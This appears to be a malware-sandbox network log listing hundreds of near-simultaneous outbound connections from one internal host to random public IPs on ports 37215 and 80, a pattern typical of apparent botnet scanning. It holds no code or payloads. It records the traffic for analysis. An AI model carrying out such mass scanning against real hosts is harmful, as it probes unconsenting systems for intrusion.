Oct 14, 2024 17:30:11.901015997 CEST	53786	37215	192.168.2.14	197.212.109.253
Oct 14, 2024 17:30:11.901029110 CEST	53786	37215	192.168.2.14	41.157.199.13
Oct 14, 2024 17:30:11.901036978 CEST	53786	37215	192.168.2.14	156.84.19.74
Oct 14, 2024 17:30:11.901041985 CEST	53786	37215	192.168.2.14	197.75.107.27
Oct 14, 2024 17:30:11.901046038 CEST	53786	37215	192.168.2.14	197.198.234.132
Oct 14, 2024 17:30:11.901046038 CEST	53786	37215	192.168.2.14	197.14.141.1
Oct 14, 2024 17:30:11.901048899 CEST	53786	37215	192.168.2.14	41.210.80.199
Oct 14, 2024 17:30:11.901070118 CEST	53786	37215	192.168.2.14	197.172.164.166
Oct 14, 2024 17:30:11.901077032 CEST	53786	37215	192.168.2.14	41.136.6.103
Oct 14, 2024 17:30:11.901083946 CEST	53786	37215	192.168.2.14	197.244.127.5
Oct 14, 2024 17:30:11.901087999 CEST	53786	37215	192.168.2.14	156.220.51.224
Oct 14, 2024 17:30:11.901103973 CEST	53786	37215	192.168.2.14	156.186.119.122
Oct 14, 2024 17:30:11.901103973 CEST	53274	80	192.168.2.14	165.236.110.85
Oct 14, 2024 17:30:11.901108027 CEST	53274	80	192.168.2.14	213.250.86.116
Oct 14, 2024 17:30:11.901110888 CEST	53274	80	192.168.2.14	67.126.11.162
Oct 14, 2024 17:30:11.901110888 CEST	53786	37215	192.168.2.14	41.102.207.78
Oct 14, 2024 17:30:11.901110888 CEST	53274	80	192.168.2.14	222.160.40.161
Oct 14, 2024 17:30:11.901114941 CEST	53786	37215	192.168.2.14	41.214.144.167
Oct 14, 2024 17:30:11.901114941 CEST	53786	37215	192.168.2.14	197.103.14.210
Oct 14, 2024 17:30:11.901114941 CEST	53786	37215	192.168.2.14	197.30.72.191
Oct 14, 2024 17:30:11.901123047 CEST	53274	80	192.168.2.14	142.121.187.3
Oct 14, 2024 17:30:11.901128054 CEST	53274	80	192.168.2.14	134.60.205.5
Oct 14, 2024 17:30:11.901144028 CEST	53786	37215	192.168.2.14	156.241.202.243
Oct 14, 2024 17:30:11.901145935 CEST	53274	80	192.168.2.14	124.71.111.248
Oct 14, 2024 17:30:11.901145935 CEST	53274	80	192.168.2.14	100.165.24.206
Oct 14, 2024 17:30:11.901148081 CEST	53274	80	192.168.2.14	85.143.143.121
Oct 14, 2024 17:30:11.901154041 CEST	53274	80	192.168.2.14	189.92.246.130
Oct 14, 2024 17:30:11.901155949 CEST	53786	37215	192.168.2.14	197.172.220.166
Oct 14, 2024 17:30:11.901155949 CEST	53274	80	192.168.2.14	114.184.197.76
Oct 14, 2024 17:30:11.901159048 CEST	53274	80	192.168.2.14	171.222.109.136
Oct 14, 2024 17:30:11.901160955 CEST	53786	37215	192.168.2.14	197.36.44.0
Oct 14, 2024 17:30:11.901168108 CEST	53274	80	192.168.2.14	223.118.208.181
Oct 14, 2024 17:30:11.901168108 CEST	53274	80	192.168.2.14	81.144.163.126
Oct 14, 2024 17:30:11.901176929 CEST	53274	80	192.168.2.14	188.28.143.104
Oct 14, 2024 17:30:11.901197910 CEST	53274	80	192.168.2.14	84.216.64.231
Oct 14, 2024 17:30:11.901200056 CEST	53274	80	192.168.2.14	100.206.164.36
Oct 14, 2024 17:30:11.901200056 CEST	53274	80	192.168.2.14	116.129.244.156
Oct 14, 2024 17:30:11.901200056 CEST	53274	80	192.168.2.14	208.10.15.88
Oct 14, 2024 17:30:11.901211977 CEST	53274	80	192.168.2.14	185.197.35.243
Oct 14, 2024 17:30:11.901218891 CEST	53274	80	192.168.2.14	140.48.214.13
Oct 14, 2024 17:30:11.901231050 CEST	53274	80	192.168.2.14	73.92.46.11
Oct 14, 2024 17:30:11.901235104 CEST	53274	80	192.168.2.14	81.54.14.229
Oct 14, 2024 17:30:11.901247978 CEST	53274	80	192.168.2.14	34.110.232.1
Oct 14, 2024 17:30:11.901249886 CEST	53274	80	192.168.2.14	192.72.227.16
Oct 14, 2024 17:30:11.901251078 CEST	53274	80	192.168.2.14	68.40.228.223
Oct 14, 2024 17:30:11.901261091 CEST	53274	80	192.168.2.14	155.173.183.224
Oct 14, 2024 17:30:11.901278973 CEST	53274	80	192.168.2.14	59.85.179.101
Oct 14, 2024 17:30:11.901279926 CEST	53274	80	192.168.2.14	196.126.23.180
Oct 14, 2024 17:30:11.901279926 CEST	53274	80	192.168.2.14	161.99.24.143
Oct 14, 2024 17:30:11.901299000 CEST	53274	80	192.168.2.14	90.46.248.13
Oct 14, 2024 17:30:11.901299000 CEST	53274	80	192.168.2.14	13.124.250.119
Oct 14, 2024 17:30:11.901309967 CEST	53274	80	192.168.2.14	130.99.62.7
Oct 14, 2024 17:30:11.901313066 CEST	53274	80	192.168.2.14	190.211.39.48
Oct 14, 2024 17:30:11.901313066 CEST	53274	80	192.168.2.14	194.249.246.168
Oct 14, 2024 17:30:11.901329041 CEST	53274	80	192.168.2.14	167.18.9.6
Oct 14, 2024 17:30:11.901335001 CEST	53274	80	192.168.2.14	12.238.74.64
Oct 14, 2024 17:30:11.901343107 CEST	53274	80	192.168.2.14	207.74.144.234
Oct 14, 2024 17:30:11.901343107 CEST	53274	80	192.168.2.14	60.87.64.203
Oct 14, 2024 17:30:11.901352882 CEST	53274	80	192.168.2.14	197.9.89.16
Oct 14, 2024 17:30:11.901367903 CEST	53274	80	192.168.2.14	126.157.118.106
Oct 14, 2024 17:30:11.901380062 CEST	53274	80	192.168.2.14	138.23.24.117
Oct 14, 2024 17:30:11.901406050 CEST	53274	80	192.168.2.14	151.164.192.159
Oct 14, 2024 17:30:11.901407957 CEST	53274	80	192.168.2.14	150.160.180.62
Oct 14, 2024 17:30:11.901420116 CEST	53274	80	192.168.2.14	71.8.34.94
Oct 14, 2024 17:30:11.901420116 CEST	53274	80	192.168.2.14	205.187.56.207
Oct 14, 2024 17:30:11.901426077 CEST	53274	80	192.168.2.14	130.103.61.100
Oct 14, 2024 17:30:11.901427031 CEST	53274	80	192.168.2.14	36.53.69.243
Oct 14, 2024 17:30:11.901431084 CEST	53274	80	192.168.2.14	108.52.192.15
Oct 14, 2024 17:30:11.901432037 CEST	53274	80	192.168.2.14	37.28.17.162
Oct 14, 2024 17:30:11.901451111 CEST	53274	80	192.168.2.14	92.220.31.243
Oct 14, 2024 17:30:11.901458979 CEST	53274	80	192.168.2.14	162.124.53.152
Oct 14, 2024 17:30:11.901474953 CEST	53274	80	192.168.2.14	210.167.72.161
Oct 14, 2024 17:30:11.901479959 CEST	53274	80	192.168.2.14	168.3.248.155
Oct 14, 2024 17:30:11.901489019 CEST	53274	80	192.168.2.14	23.233.177.253
Oct 14, 2024 17:30:11.901494980 CEST	53274	80	192.168.2.14	45.35.23.108
Oct 14, 2024 17:30:11.901510954 CEST	53274	80	192.168.2.14	186.111.194.174
Oct 14, 2024 17:30:11.901516914 CEST	53274	80	192.168.2.14	113.233.108.136
Oct 14, 2024 17:30:11.901520014 CEST	53274	80	192.168.2.14	183.81.177.42
Oct 14, 2024 17:30:11.901520967 CEST	53274	80	192.168.2.14	98.69.140.135
Oct 14, 2024 17:30:11.901524067 CEST	53274	80	192.168.2.14	41.237.229.26
Oct 14, 2024 17:30:11.901524067 CEST	53274	80	192.168.2.14	43.82.59.192
Oct 14, 2024 17:30:11.901555061 CEST	53274	80	192.168.2.14	111.194.127.30
Oct 14, 2024 17:30:11.901561022 CEST	53274	80	192.168.2.14	54.18.197.22
Oct 14, 2024 17:30:11.901561975 CEST	53274	80	192.168.2.14	201.167.135.73
Oct 14, 2024 17:30:11.901571035 CEST	53274	80	192.168.2.14	25.240.148.165
Oct 14, 2024 17:30:11.901585102 CEST	53274	80	192.168.2.14	204.34.243.63
Oct 14, 2024 17:30:11.901587963 CEST	53274	80	192.168.2.14	59.60.227.135
Oct 14, 2024 17:30:11.901592970 CEST	53274	80	192.168.2.14	208.202.121.103
Oct 14, 2024 17:30:11.901595116 CEST	53274	80	192.168.2.14	52.238.75.235
Oct 14, 2024 17:30:11.901604891 CEST	53274	80	192.168.2.14	20.243.88.206
Oct 14, 2024 17:30:11.901607990 CEST	53274	80	192.168.2.14	125.107.42.84
Oct 14, 2024 17:30:11.901609898 CEST	53274	80	192.168.2.14	62.202.228.175
Oct 14, 2024 17:30:11.901618004 CEST	53274	80	192.168.2.14	71.7.238.104
Oct 14, 2024 17:30:11.901619911 CEST	53274	80	192.168.2.14	195.124.94.45
Oct 14, 2024 17:30:11.901632071 CEST	53274	80	192.168.2.14	71.112.96.157
Oct 14, 2024 17:30:11.901638985 CEST	53274	80	192.168.2.14	105.93.237.240
Oct 14, 2024 17:30:11.901644945 CEST	53274	80	192.168.2.14	134.6.89.253
Oct 14, 2024 17:30:11.901657104 CEST	53274	80	192.168.2.14	204.251.138.149
Oct 14, 2024 17:30:11.901664972 CEST	53274	80	192.168.2.14	32.89.219.41
Oct 14, 2024 17:30:11.901669025 CEST	53274	80	192.168.2.14	95.138.149.164
Oct 14, 2024 17:30:11.901695013 CEST	53274	80	192.168.2.14	182.75.251.83
Oct 14, 2024 17:30:11.901695013 CEST	53274	80	192.168.2.14	161.49.195.183
Oct 14, 2024 17:30:11.901699066 CEST	53274	80	192.168.2.14	48.46.230.222
Oct 14, 2024 17:30:11.901699066 CEST	53274	80	192.168.2.14	220.181.5.39
Oct 14, 2024 17:30:11.901700020 CEST	53274	80	192.168.2.14	9.63.74.93
Oct 14, 2024 17:30:11.901705980 CEST	53274	80	192.168.2.14	172.54.103.115
Oct 14, 2024 17:30:11.901726007 CEST	53274	80	192.168.2.14	200.225.152.25
Oct 14, 2024 17:30:11.901730061 CEST	53274	80	192.168.2.14	171.65.18.242
Oct 14, 2024 17:30:11.901740074 CEST	53274	80	192.168.2.14	24.94.234.87
Oct 14, 2024 17:30:11.901741982 CEST	53274	80	192.168.2.14	98.206.24.15
Oct 14, 2024 17:30:11.901757956 CEST	53274	80	192.168.2.14	199.81.112.132
Oct 14, 2024 17:30:11.901758909 CEST	53274	80	192.168.2.14	39.168.133.143
Oct 14, 2024 17:30:11.901762009 CEST	53274	80	192.168.2.14	183.193.198.118
Oct 14, 2024 17:30:11.901777983 CEST	53274	80	192.168.2.14	108.250.83.170
Oct 14, 2024 17:30:11.901777983 CEST	53274	80	192.168.2.14	91.14.164.104
Oct 14, 2024 17:30:11.901798010 CEST	53274	80	192.168.2.14	138.12.255.248
Oct 14, 2024 17:30:11.901801109 CEST	53274	80	192.168.2.14	24.220.215.229
Oct 14, 2024 17:30:11.901802063 CEST	53274	80	192.168.2.14	100.133.106.192
Oct 14, 2024 17:30:11.901808023 CEST	53274	80	192.168.2.14	79.98.192.107
Oct 14, 2024 17:30:11.901808977 CEST	53274	80	192.168.2.14	9.155.229.120
Oct 14, 2024 17:30:11.901813030 CEST	53274	80	192.168.2.14	128.25.41.176
Oct 14, 2024 17:30:11.901813984 CEST	53274	80	192.168.2.14	97.123.175.199
Oct 14, 2024 17:30:11.901829958 CEST	53274	80	192.168.2.14	161.200.227.197
Oct 14, 2024 17:30:11.901829958 CEST	53274	80	192.168.2.14	167.137.105.199
Oct 14, 2024 17:30:11.901845932 CEST	53274	80	192.168.2.14	204.9.40.57
Oct 14, 2024 17:30:11.901849031 CEST	53274	80	192.168.2.14	167.120.229.178
Oct 14, 2024 17:30:11.901865959 CEST	53274	80	192.168.2.14	1.194.165.215
Oct 14, 2024 17:30:11.901870966 CEST	53274	80	192.168.2.14	49.188.216.86
Oct 14, 2024 17:30:11.901870966 CEST	53274	80	192.168.2.14	157.11.178.231
Oct 14, 2024 17:30:11.901870966 CEST	53274	80	192.168.2.14	68.119.188.40
Oct 14, 2024 17:30:11.901870966 CEST	53274	80	192.168.2.14	104.204.236.245
Oct 14, 2024 17:30:11.901892900 CEST	53274	80	192.168.2.14	199.100.14.234
Oct 14, 2024 17:30:11.901896954 CEST	53274	80	192.168.2.14	166.69.246.113
Oct 14, 2024 17:30:11.901916027 CEST	53274	80	192.168.2.14	222.82.201.248
Oct 14, 2024 17:30:11.901917934 CEST	53274	80	192.168.2.14	142.43.51.208
Oct 14, 2024 17:30:11.901927948 CEST	53274	80	192.168.2.14	27.158.178.28
Oct 14, 2024 17:30:11.901932955 CEST	53274	80	192.168.2.14	37.197.231.207
Oct 14, 2024 17:30:11.901947021 CEST	53274	80	192.168.2.14	98.163.126.107
Oct 14, 2024 17:30:11.901948929 CEST	53274	80	192.168.2.14	134.40.69.207
Oct 14, 2024 17:30:11.901952028 CEST	53274	80	192.168.2.14	184.174.89.164
Oct 14, 2024 17:30:11.901971102 CEST	53274	80	192.168.2.14	193.55.234.172
Oct 14, 2024 17:30:11.901989937 CEST	53274	80	192.168.2.14	178.139.105.113
Oct 14, 2024 17:30:11.901993036 CEST	53274	80	192.168.2.14	175.17.93.114
Oct 14, 2024 17:30:11.901993036 CEST	53274	80	192.168.2.14	198.49.98.50
Oct 14, 2024 17:30:11.901998997 CEST	53274	80	192.168.2.14	20.47.70.8
Oct 14, 2024 17:30:11.901998997 CEST	53274	80	192.168.2.14	87.234.230.199
Oct 14, 2024 17:30:11.902019024 CEST	53274	80	192.168.2.14	179.255.106.32
Oct 14, 2024 17:30:11.902019024 CEST	53274	80	192.168.2.14	23.226.109.247
Oct 14, 2024 17:30:11.902024031 CEST	53274	80	192.168.2.14	60.158.95.84
Oct 14, 2024 17:30:11.902024031 CEST	53274	80	192.168.2.14	205.124.251.243
Oct 14, 2024 17:30:11.902040005 CEST	53274	80	192.168.2.14	116.186.25.53
Oct 14, 2024 17:30:11.902053118 CEST	53274	80	192.168.2.14	114.147.183.172
Oct 14, 2024 17:30:11.902057886 CEST	53274	80	192.168.2.14	209.29.121.44
Oct 14, 2024 17:30:11.902060986 CEST	53274	80	192.168.2.14	145.228.90.168
Oct 14, 2024 17:30:11.902060986 CEST	53274	80	192.168.2.14	144.222.102.50
Oct 14, 2024 17:30:11.902077913 CEST	53274	80	192.168.2.14	89.112.163.191
Oct 14, 2024 17:30:11.902086973 CEST	53274	80	192.168.2.14	38.19.7.122
Oct 14, 2024 17:30:11.902084112 CEST	53274	80	192.168.2.14	105.118.192.111
Oct 14, 2024 17:30:11.902091026 CEST	53274	80	192.168.2.14	218.193.254.200
Oct 14, 2024 17:30:11.902106047 CEST	53274	80	192.168.2.14	147.226.14.100
Oct 14, 2024 17:30:11.902106047 CEST	53274	80	192.168.2.14	181.236.242.195
Oct 14, 2024 17:30:11.902120113 CEST	53274	80	192.168.2.14	151.23.201.35
Oct 14, 2024 17:30:11.902128935 CEST	53274	80	192.168.2.14	25.84.132.242
Oct 14, 2024 17:30:11.902136087 CEST	53274	80	192.168.2.14	105.130.226.170
Oct 14, 2024 17:30:11.902154922 CEST	53274	80	192.168.2.14	23.100.82.224
Oct 14, 2024 17:30:11.902168989 CEST	53274	80	192.168.2.14	145.148.193.125
Oct 14, 2024 17:30:11.902173042 CEST	53274	80	192.168.2.14	2.56.54.190
Oct 14, 2024 17:30:11.902180910 CEST	53274	80	192.168.2.14	195.203.94.28
Oct 14, 2024 17:30:11.902185917 CEST	53274	80	192.168.2.14	210.193.169.190
Oct 14, 2024 17:30:11.902204990 CEST	53274	80	192.168.2.14	60.135.14.137
Oct 14, 2024 17:30:11.902204990 CEST	53274	80	192.168.2.14	46.86.219.244
Oct 14, 2024 17:30:11.902208090 CEST	53274	80	192.168.2.14	209.240.118.72
Oct 14, 2024 17:30:11.902211905 CEST	53274	80	192.168.2.14	115.194.207.187
Oct 14, 2024 17:30:11.902235031 CEST	53274	80	192.168.2.14	77.4.172.151
Oct 14, 2024 17:30:11.902235031 CEST	53274	80	192.168.2.14	126.145.8.204
Oct 14, 2024 17:30:11.902240038 CEST	53274	80	192.168.2.14	166.10.33.20
Oct 14, 2024 17:30:11.902240038 CEST	53274	80	192.168.2.14	167.98.205.146
Oct 14, 2024 17:30:11.902245998 CEST	53274	80	192.168.2.14	109.115.190.155
Oct 14, 2024 17:30:11.902257919 CEST	53274	80	192.168.2.14	155.3.38.245
Oct 14, 2024 17:30:11.902260065 CEST	53274	80	192.168.2.14	89.86.232.0
Oct 14, 2024 17:30:11.902261019 CEST	53274	80	192.168.2.14	157.210.61.244
Oct 14, 2024 17:30:11.902293921 CEST	53274	80	192.168.2.14	84.239.12.116
Oct 14, 2024 17:30:11.902293921 CEST	53274	80	192.168.2.14	208.101.250.252
Oct 14, 2024 17:30:11.902301073 CEST	53274	80	192.168.2.14	151.15.89.215
Oct 14, 2024 17:30:11.902302980 CEST	53274	80	192.168.2.14	44.66.248.220
Oct 14, 2024 17:30:11.902301073 CEST	53274	80	192.168.2.14	25.13.227.224
Oct 14, 2024 17:30:11.902313948 CEST	53274	80	192.168.2.14	101.111.219.151
Oct 14, 2024 17:30:11.902318001 CEST	53274	80	192.168.2.14	161.178.52.154
Oct 14, 2024 17:30:11.902319908 CEST	53274	80	192.168.2.14	34.62.16.77
Oct 14, 2024 17:30:11.902326107 CEST	53274	80	192.168.2.14	42.124.247.158
Oct 14, 2024 17:30:11.902339935 CEST	53274	80	192.168.2.14	95.13.12.81
Oct 14, 2024 17:30:11.902342081 CEST	53274	80	192.168.2.14	8.254.32.122
Oct 14, 2024 17:30:11.902353048 CEST	53274	80	192.168.2.14	91.184.74.216
Oct 14, 2024 17:30:11.902353048 CEST	53274	80	192.168.2.14	155.13.74.100
Oct 14, 2024 17:30:11.902358055 CEST	53274	80	192.168.2.14	193.232.228.233
Oct 14, 2024 17:30:11.902374029 CEST	53274	80	192.168.2.14	200.225.177.93
Oct 14, 2024 17:30:11.902374029 CEST	53274	80	192.168.2.14	46.16.51.255
Oct 14, 2024 17:30:11.902374029 CEST	53274	80	192.168.2.14	222.0.81.254
Oct 14, 2024 17:30:11.902380943 CEST	53274	80	192.168.2.14	193.97.19.82
Oct 14, 2024 17:30:11.902381897 CEST	53274	80	192.168.2.14	94.183.160.33
Oct 14, 2024 17:30:11.902384996 CEST	53274	80	192.168.2.14	104.153.4.155
Oct 14, 2024 17:30:11.902386904 CEST	53274	80	192.168.2.14	161.176.46.90
Oct 14, 2024 17:30:11.902404070 CEST	53274	80	192.168.2.14	135.121.221.48
Oct 14, 2024 17:30:11.902404070 CEST	53274	80	192.168.2.14	84.129.194.15
Oct 14, 2024 17:30:11.902410030 CEST	53274	80	192.168.2.14	220.100.54.205
Oct 14, 2024 17:30:11.902421951 CEST	53274	80	192.168.2.14	200.190.34.95
Oct 14, 2024 17:30:11.902426004 CEST	53274	80	192.168.2.14	190.140.243.219
Oct 14, 2024 17:30:11.902426004 CEST	53274	80	192.168.2.14	151.26.198.53
Oct 14, 2024 17:30:11.902427912 CEST	53274	80	192.168.2.14	213.242.22.70
Oct 14, 2024 17:30:11.902435064 CEST	53274	80	192.168.2.14	57.67.142.75
Oct 14, 2024 17:30:11.902465105 CEST	53274	80	192.168.2.14	164.162.41.207
Oct 14, 2024 17:30:11.902466059 CEST	53274	80	192.168.2.14	78.13.225.119
Oct 14, 2024 17:30:11.902470112 CEST	53274	80	192.168.2.14	81.189.213.251
Oct 14, 2024 17:30:11.902482033 CEST	53274	80	192.168.2.14	171.87.213.119
Oct 14, 2024 17:30:11.902482986 CEST	53274	80	192.168.2.14	61.61.80.123
Oct 14, 2024 17:30:11.902491093 CEST	53274	80	192.168.2.14	121.137.20.0
Oct 14, 2024 17:30:11.902510881 CEST	53274	80	192.168.2.14	179.169.46.255
Oct 14, 2024 17:30:11.902510881 CEST	53274	80	192.168.2.14	202.28.17.30
Oct 14, 2024 17:30:11.902523994 CEST	53274	80	192.168.2.14	151.1.19.137
Oct 14, 2024 17:30:11.902529001 CEST	53274	80	192.168.2.14	8.75.62.245
Oct 14, 2024 17:30:11.902545929 CEST	53274	80	192.168.2.14	222.0.7.110
Oct 14, 2024 17:30:11.902554989 CEST	53274	80	192.168.2.14	207.135.197.174
Oct 14, 2024 17:30:11.902575016 CEST	53274	80	192.168.2.14	159.16.225.202
Oct 14, 2024 17:30:11.902582884 CEST	53274	80	192.168.2.14	178.97.77.198
Oct 14, 2024 17:30:11.902601957 CEST	53274	80	192.168.2.14	73.4.230.47
Oct 14, 2024 17:30:11.902605057 CEST	53274	80	192.168.2.14	180.184.176.101
Oct 14, 2024 17:30:11.902628899 CEST	53274	80	192.168.2.14	35.237.111.155
Oct 14, 2024 17:30:11.902636051 CEST	53274	80	192.168.2.14	156.174.0.91
Oct 14, 2024 17:30:11.902641058 CEST	53274	80	192.168.2.14	117.85.254.141
Oct 14, 2024 17:30:11.902650118 CEST	53274	80	192.168.2.14	90.150.41.93
Oct 14, 2024 17:30:11.902676105 CEST	53274	80	192.168.2.14	110.183.13.95
Oct 14, 2024 17:30:11.902676105 CEST	53274	80	192.168.2.14	222.254.211.62
Oct 14, 2024 17:30:11.902684927 CEST	53274	80	192.168.2.14	130.127.183.20
Oct 14, 2024 17:30:11.902686119 CEST	53274	80	192.168.2.14	196.78.189.83
Oct 14, 2024 17:30:11.902688026 CEST	53274	80	192.168.2.14	125.123.131.66
Oct 14, 2024 17:30:11.902702093 CEST	53274	80	192.168.2.14	92.217.43.194
Oct 14, 2024 17:30:11.902708054 CEST	53274	80	192.168.2.14	216.220.139.76
Oct 14, 2024 17:30:11.902719021 CEST	53274	80	192.168.2.14	181.76.131.96
Oct 14, 2024 17:30:11.902720928 CEST	53274	80	192.168.2.14	119.62.159.55
Oct 14, 2024 17:30:11.902728081 CEST	53274	80	192.168.2.14	143.106.175.69
Oct 14, 2024 17:30:11.902741909 CEST	53274	80	192.168.2.14	38.23.185.54
Oct 14, 2024 17:30:11.902745008 CEST	53274	80	192.168.2.14	177.15.146.172
Oct 14, 2024 17:30:11.902745962 CEST	53274	80	192.168.2.14	124.194.247.239
Oct 14, 2024 17:30:11.902760983 CEST	53274	80	192.168.2.14	123.38.103.254
Oct 14, 2024 17:30:11.902761936 CEST	53274	80	192.168.2.14	1.155.129.89
Oct 14, 2024 17:30:11.902786970 CEST	53274	80	192.168.2.14	175.243.72.86
Oct 14, 2024 17:30:11.902791977 CEST	53274	80	192.168.2.14	191.110.56.169
Oct 14, 2024 17:30:11.902791977 CEST	53274	80	192.168.2.14	48.121.52.243
Oct 14, 2024 17:30:11.902810097 CEST	53274	80	192.168.2.14	103.163.163.192
Oct 14, 2024 17:30:11.902811050 CEST	53274	80	192.168.2.14	13.133.34.122
Oct 14, 2024 17:30:11.902813911 CEST	53274	80	192.168.2.14	101.239.139.83
Oct 14, 2024 17:30:11.902818918 CEST	53274	80	192.168.2.14	34.219.51.241
Oct 14, 2024 17:30:11.902822018 CEST	53274	80	192.168.2.14	102.244.95.103
Oct 14, 2024 17:30:11.902826071 CEST	53274	80	192.168.2.14	9.144.210.46
Oct 14, 2024 17:30:11.902837038 CEST	53274	80	192.168.2.14	160.86.112.63
Oct 14, 2024 17:30:11.902847052 CEST	53274	80	192.168.2.14	100.182.83.86
Oct 14, 2024 17:30:11.902852058 CEST	53274	80	192.168.2.14	20.252.163.129
Oct 14, 2024 17:30:11.902857065 CEST	53274	80	192.168.2.14	58.229.143.9
Oct 14, 2024 17:30:11.902862072 CEST	53274	80	192.168.2.14	68.222.45.112
Oct 14, 2024 17:30:11.902867079 CEST	53274	80	192.168.2.14	84.180.92.150
Oct 14, 2024 17:30:11.902867079 CEST	53274	80	192.168.2.14	208.162.112.100
Oct 14, 2024 17:30:11.902879000 CEST	53274	80	192.168.2.14	154.146.35.115
Oct 14, 2024 17:30:11.902885914 CEST	53274	80	192.168.2.14	32.208.109.251
Oct 14, 2024 17:30:11.902899981 CEST	53274	80	192.168.2.14	84.67.174.231
Oct 14, 2024 17:30:11.902899981 CEST	53274	80	192.168.2.14	37.194.177.229
Oct 14, 2024 17:30:11.902905941 CEST	53274	80	192.168.2.14	171.53.184.1
Oct 14, 2024 17:30:11.902905941 CEST	53274	80	192.168.2.14	151.49.6.54
Oct 14, 2024 17:30:11.902906895 CEST	53274	80	192.168.2.14	151.30.7.138
Oct 14, 2024 17:30:11.902913094 CEST	53274	80	192.168.2.14	50.112.212.11
Oct 14, 2024 17:30:11.902914047 CEST	53274	80	192.168.2.14	122.71.37.58
Oct 14, 2024 17:30:11.902925968 CEST	53274	80	192.168.2.14	126.14.247.6
Oct 14, 2024 17:30:11.902926922 CEST	53274	80	192.168.2.14	112.245.48.105
Oct 14, 2024 17:30:11.902932882 CEST	53274	80	192.168.2.14	20.124.32.67
Oct 14, 2024 17:30:11.902940035 CEST	53274	80	192.168.2.14	124.43.19.39
Oct 14, 2024 17:30:11.902952909 CEST	53274	80	192.168.2.14	125.0.250.102
Oct 14, 2024 17:30:11.902961016 CEST	53274	80	192.168.2.14	42.92.175.253
Oct 14, 2024 17:30:11.902961016 CEST	53274	80	192.168.2.14	182.179.57.75
Oct 14, 2024 17:30:11.902992010 CEST	53274	80	192.168.2.14	41.123.125.198
Oct 14, 2024 17:30:11.902993917 CEST	53274	80	192.168.2.14	179.167.102.9
Oct 14, 2024 17:30:11.902996063 CEST	53274	80	192.168.2.14	157.51.49.87
Oct 14, 2024 17:30:11.903003931 CEST	53274	80	192.168.2.14	114.232.50.196
Oct 14, 2024 17:30:11.903009892 CEST	53274	80	192.168.2.14	149.101.167.49
Oct 14, 2024 17:30:11.903011084 CEST	53274	80	192.168.2.14	1.15.136.54
Oct 14, 2024 17:30:11.903023958 CEST	53274	80	192.168.2.14	110.145.235.114
Oct 14, 2024 17:30:11.903032064 CEST	53274	80	192.168.2.14	164.61.128.55
Oct 14, 2024 17:30:11.903038025 CEST	53274	80	192.168.2.14	197.172.117.118
Oct 14, 2024 17:30:11.903042078 CEST	53274	80	192.168.2.14	57.234.53.44
Oct 14, 2024 17:30:11.903043985 CEST	53274	80	192.168.2.14	202.234.70.193
Oct 14, 2024 17:30:11.903045893 CEST	53274	80	192.168.2.14	102.165.251.118
Oct 14, 2024 17:30:11.903062105 CEST	53274	80	192.168.2.14	109.20.47.3
Oct 14, 2024 17:30:11.903064966 CEST	53274	80	192.168.2.14	117.98.245.217
Oct 14, 2024 17:30:11.903074026 CEST	53274	80	192.168.2.14	41.148.218.228
Oct 14, 2024 17:30:11.903075933 CEST	53274	80	192.168.2.14	47.243.22.46
Oct 14, 2024 17:30:11.903090000 CEST	53274	80	192.168.2.14	168.6.162.253
Oct 14, 2024 17:30:11.903111935 CEST	53274	80	192.168.2.14	41.189.68.57
Oct 14, 2024 17:30:11.903115988 CEST	53274	80	192.168.2.14	138.234.144.84
Oct 14, 2024 17:30:11.903131008 CEST	53274	80	192.168.2.14	100.16.93.70
Oct 14, 2024 17:30:11.903136969 CEST	53274	80	192.168.2.14	78.49.218.244
Oct 14, 2024 17:30:11.903141975 CEST	53274	80	192.168.2.14	200.61.221.208
Oct 14, 2024 17:30:11.903142929 CEST	53274	80	192.168.2.14	148.88.94.191
Oct 14, 2024 17:30:11.903143883 CEST	53274	80	192.168.2.14	174.245.53.107
Oct 14, 2024 17:30:11.903146982 CEST	53274	80	192.168.2.14	92.142.8.53
Oct 14, 2024 17:30:11.903163910 CEST	53274	80	192.168.2.14	193.89.236.106
Oct 14, 2024 17:30:11.903165102 CEST	53274	80	192.168.2.14	122.7.226.17
Oct 14, 2024 17:30:11.903178930 CEST	53274	80	192.168.2.14	25.27.130.67
Oct 14, 2024 17:30:11.903187037 CEST	53274	80	192.168.2.14	172.159.133.130
Oct 14, 2024 17:30:11.903192997 CEST	53274	80	192.168.2.14	182.217.35.15
Oct 14, 2024 17:30:11.903209925 CEST	53274	80	192.168.2.14	93.45.68.213
Oct 14, 2024 17:30:11.903228045 CEST	53274	80	192.168.2.14	37.123.251.175
Oct 14, 2024 17:30:11.903238058 CEST	53274	80	192.168.2.14	139.203.39.80
Oct 14, 2024 17:30:11.903244972 CEST	53274	80	192.168.2.14	196.207.181.189
Oct 14, 2024 17:30:11.903245926 CEST	53274	80	192.168.2.14	85.21.103.89
Oct 14, 2024 17:30:11.903247118 CEST	53274	80	192.168.2.14	166.35.180.158
Oct 14, 2024 17:30:11.903266907 CEST	53274	80	192.168.2.14	217.81.98.74
Oct 14, 2024 17:30:11.903268099 CEST	53274	80	192.168.2.14	17.57.3.152
Oct 14, 2024 17:30:11.903271914 CEST	53274	80	192.168.2.14	108.34.12.192
Oct 14, 2024 17:30:11.903280020 CEST	53274	80	192.168.2.14	86.212.14.194
Oct 14, 2024 17:30:11.903299093 CEST	53274	80	192.168.2.14	154.54.2.16
Oct 14, 2024 17:30:11.903306961 CEST	53274	80	192.168.2.14	191.101.125.235
Oct 14, 2024 17:30:11.903315067 CEST	53274	80	192.168.2.14	204.49.188.202
Oct 14, 2024 17:30:11.903316975 CEST	53274	80	192.168.2.14	101.10.200.184
Oct 14, 2024 17:30:11.903325081 CEST	53274	80	192.168.2.14	42.107.138.113
Oct 14, 2024 17:30:11.903338909 CEST	53274	80	192.168.2.14	212.161.255.247
Oct 14, 2024 17:30:11.903338909 CEST	53274	80	192.168.2.14	48.225.58.18
Oct 14, 2024 17:30:11.903351068 CEST	53274	80	192.168.2.14	25.85.3.242
Oct 14, 2024 17:30:11.903367043 CEST	53274	80	192.168.2.14	115.74.127.138
Oct 14, 2024 17:30:11.903373003 CEST	53274	80	192.168.2.14	164.119.47.95
Oct 14, 2024 17:30:11.903373957 CEST	53274	80	192.168.2.14	201.8.146.12
Oct 14, 2024 17:30:11.903390884 CEST	53274	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:11.903392076 CEST	53274	80	192.168.2.14	86.85.64.158
Oct 14, 2024 17:30:11.903409958 CEST	53274	80	192.168.2.14	67.67.152.183
Oct 14, 2024 17:30:11.903409958 CEST	53274	80	192.168.2.14	168.236.56.242
